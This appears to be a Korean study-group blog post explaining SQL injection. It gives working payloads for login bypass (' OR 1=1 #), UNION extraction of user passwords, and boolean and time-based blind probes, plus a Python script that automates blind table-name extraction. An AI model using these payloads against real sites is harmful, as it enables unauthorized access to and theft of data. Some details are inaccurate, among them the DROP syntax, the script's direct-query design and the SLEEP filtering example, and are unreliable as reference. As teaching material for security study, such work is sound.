[정보보안] SQL Injection 이란?
SQL Injection의 작동 원리와 방법에 대해 알아보자!
모의해킹 스터디 5주차 강의 내용에 대한 정리.
SQL Injection 이란?
<목차>
SQL 이란 ?
▶ Structured Query Language (SQL)
관계형 데이터베이스에서 데이터를 관리하기 위해 설계된 프로그래밍 언어로
데이터를 삽입, 수정 및 삭제하는 과정에서 쓰이는 언어다.
즉 데이터베이스와 소통하고 데이터를 효율적으로 관리하기 위해 쓰이는 언어이다.
SQL Injection (SQLi) 이란 ?
▶ Structured Query Language (SQL)
공격자가 응용 프로그램의 보안상의 헛점을 이용하여 SQL 문을 삽입하여 데이터베이스에서 수행하는 쿼리를 방해할 수 있는 웹 보안 취약점이다
- 공격자는 이를 통해 일반적으로 접근할 수 없는 정보를 취득하는 목적으로 이용되며
- 더 나아가 데이터를 수정 및 삭제하여 응용 프로그램의 콘텐츠나 동작을 방해할 수 있다
- OWASP에서도 1순위로 분류된 만큼 공격이 성공할 경우 큰 피해를 입힐 수 있기에 각별한 주의가 필요하다.
INSERT INTO students(name) VALUES('Robert');
DROP students TABLE
실제 위 사진은 이러한 코드로 작성되어 쿼리가 실행되었을 것이다.
유머로 만든 사진이지만, SQLi 의 위력을 한 번에 볼 수 있다.
공격의 종류와 방법
Error based SQL Injection
공격자가 SQL 쿼리에 고의적으로 오류를 발생시켜, 그 때 출력되는 오류의 내용으로 필요한 데이터를 찾아내는 기법이다.
로그인 페이지에서의 SQLi 공격 예시
▶ 기존 SQL 구문
SELECT * FROM TABLE WHERE id='INPUT1' AND password='INPUT2';
▶ 공격 구문
- id : ' OR 1=1 #
- password : anything
SELECT * FROM TABLE WHERE id='' OR 1=1 # AND password='anything';
id input에 어떠한 정보가 들어오더라도, OR 1=1 의 항등원 구문으로 해당 쿼리는 항상 참이 된다.
# 뒤의 부분은 주석처리되어 password 값은 검증하지 않는다.
▶ 결과
- 기존 구문대로라면, Input 값의 id/password를 가진 유저의 데이터를 불러와야 하지만
- 공격 구문으로는, 테이블의 모든 정보를 가져올 수 있다
UNION based SQL Injection
▶ UNION 이란?
두 개의 쿼리문에 대한 결과를 하나의 테이블로 통합하여 보여주는 쿼리문이다
UNION 안에는 2개의 select 문이 들어간다.
단, UNION Injection 을 하기 위해서는 두 테이블의 컬럼 수가 같고, 데이터 형이 동일해야 한다.
게시판에서 SQLi 공격 예시
▶ 기존 SQL 구문
SELECT * FROM TABLE WHERE title LIKE '%Input%' OR contents LIKE '%Input%';
제목이나 글의 내용에서 Input 된 글자를 포함하는 모든 데이터를 불러온다
▶ 공격 구문
SELECT * FROM TABLE WHERE title LIKE '%' UNION SELECT null, id, password FROM Users #%' OR contents LIKE '%Input%';
기존 테이블의 모든 데이터와 함께, Users 테이블의 id, password 값도 같이 불러온다
Blind SQL Injection
에러가 발생되지 않는 사이트에서 데이터 베이스로부터 특정한 값이나 데이터를 전달받지 않고, 단순히 참과 거짓의 정보만 알 수 있을 때 사용할 수 있다.
- Boolean based SQL
LIMIT, SUBSTR, ASCII를 사용하여 조건이 참이면 페이지가 정상적으로 출력되고, 그렇지 않은 경우 출력되지 않는 것으로 공격의 성공 여부를 확인할 수 있다.
▶ 기존 SQL 구문
SELECT * FROM Users WHERE id='Input1' AND pass='Input2';
▶ 공격 구문
SELECT * FROM Users WHERE id = 'Input1' and ASCII(SUBSTR((SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1),1,1)) > 100 -- USRE_ID' AND pw = 'Input2';
- LIMIT 을 통해 하나의 테이블만 조회하고, SUBSTR함수로 첫 글자만 찾게 됩니다.
- ASCII를 통해 값이 변환되고 조회되는 테이블 명의 첫 번째 글자가 U면 테이블이 조회됩니다.
- 참(로그인)이 될 때까지 100 숫자를 변경하며 비교를 하게 됩니다.
- 자동화 스크립트로 만들어 단기간 내에 테이블 명을 알아낼 수도 있습니다.
* 테이블 이름을 가져오는 자동화 스크립트를 만들어 볼까?
▶ MySQL 데이터베이스의 information_schema.tables를 사용하여 테이블 이름을 추출하는 자동화 스크립트
import mysql.connector
def get_first_table_name():
# MySQL 데이터베이스에 연결
conn = mysql.connector.connect(
host='your_mysql_host',
user='your_mysql_user',
password='your_mysql_password',
database='your_database_name'
)
cursor = conn.cursor()
table_name = ''
char_position = 1
while True:
found = False
for ascii_code in range(32, 127): # ASCII 코드 범위: 32(공백) ~ 126(틸드 ~)
query = f'''
SELECT 1 FROM Users WHERE id = 'Input1'
AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables
WHERE table_type='BASE TABLE' AND table_schema='your_database_name' LIMIT 1 OFFSET 0), {char_position}, 1)) = {ascii_code} -- ' AND pw = 'Input2';
'''
cursor.execute(query)
result = cursor.fetchone()
if result:
table_name += chr(ascii_code)
char_position += 1
found = True
break
if not found: # 더 이상 문자가 없으면 루프 탈출
break
conn.close()
return table_name
# 테이블 이름 추출
first_table_name = get_first_table_name()
print(f"First table name: {first_table_name}")
▶ 작동 방법
- MySQL 데이터베이스 연결
- mysql.connector.connect 로 본인의 데이터베이스에 접속 명령한다
- 접근할 호스트, 사용자 이름, 비밀번호, 데이터베이스 이름 설정한다
- 테이블 이름 추출
- table_name : 변수에 테이블 이름을 저장한다
- char_position : 현재 추출할 문자 위치를 나타낸다
- ASCII 코드 범위를 순회하며 특정 위치의 문자를 추출한다
- 주어진 ASCII 코드와 일치하는 문자열을 발견하면 table_name에 저장하고 다음 위치로 이동한다
- 더 이상 문자를 찾을 수 없으면 루프를 종료한다
- 쿼리 작성 및 실행
- information_schema.tables를 사용하여 첫 번째 테이블 이름을 추출한다
- SUBSTRING과 ASCII 함수를 사용하여 특정 위치의 문자를 추출하고, 이를 ASCII 코드와 비교한다
- 결과 출력
- 추출된 테이블 이름을 출력한다
- Time based SQL
위와 동일하게 서버로부터 특정한 응답 대신에 참 혹은 거짓의 응답을 통해서 데이터를 유추하며
MySQL 기준으로 SLEEP 과 BENCHMARK 함수를 사용한다.
기존 구문은 위와 동일하게 사용하여, 공격 구문을 작성해보았다.
▶ 공격 구문
SELECT user FROM Users WHERE id = 'Input1' OR (LENGTH(DATABASE())=1 AND SLEEP(2)) -- USRE_ID' AND pw = 'INPUT2';
- LENGTH 함수는 문자열의 길이를 반환하며
- DATABASE 함수는 데이터베이스의 이름을 반환한다.
LENGTH(DATABASE()) = 1 가 참이면 SLEEP(2) 가 동작하고, 거짓이면 동작하지 않는다.
- 숫자 1을 조작하여 데이터베이스의 길이를 알아낼 수 있다.
- SLEEP 이라는 단어가 치환처리* 되어있다면, BENCHMARK 또는 WAIT 함수를 이용한다.
* 치환 처리란 ? : 특정 키워드나 구문이 다른 방식으로 대체되어 실행되지 않도록 보호하는 방법
▶ 공격 구문 예시
데이터베이스에 쿼리를 보낸 후 10초 동안 지연 시킨다
SELECT * FROM users WHERE username = 'admin' AND password = 'password'; SLEEP(10); --
SLEEP 구문이 치환처리가 되어 있는 곳이라면, SLEEP 이 들어간 코드를 무시하고 실행한다.
SELECT * FROM users WHERE username = 'admin' AND password = 'password'; -- SLEEP(10); --
▶ 치환 처리된 코드 예시
def safe_query(query):
# 특정 키워드를 빈 문자열로 치환
query = query.replace('SLEEP', '')
return query
user_input = "SELECT * FROM users WHERE username = 'admin' AND password = 'password'; SLEEP(10); --"
safe_query_string = safe_query(user_input)
print(safe_query_string)
# 결과: SELECT * FROM users WHERE username = 'admin' AND password = 'password'; --
<참조 링크>
SQL Injection 이란? (SQL 삽입 공격)
1. SQL Injection 1.1 개요 SQL InjectionSQL Injection 이란 악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작하는
noirstar.tistory.com
What is SQL Injection? Tutorial & Examples | Web Security Academy
In this section, we explain: What SQL injection (SQLi) is. How to find and exploit different types of SQLi vulnerabilities. How to prevent SQLi. Labs If ...
portswigger.net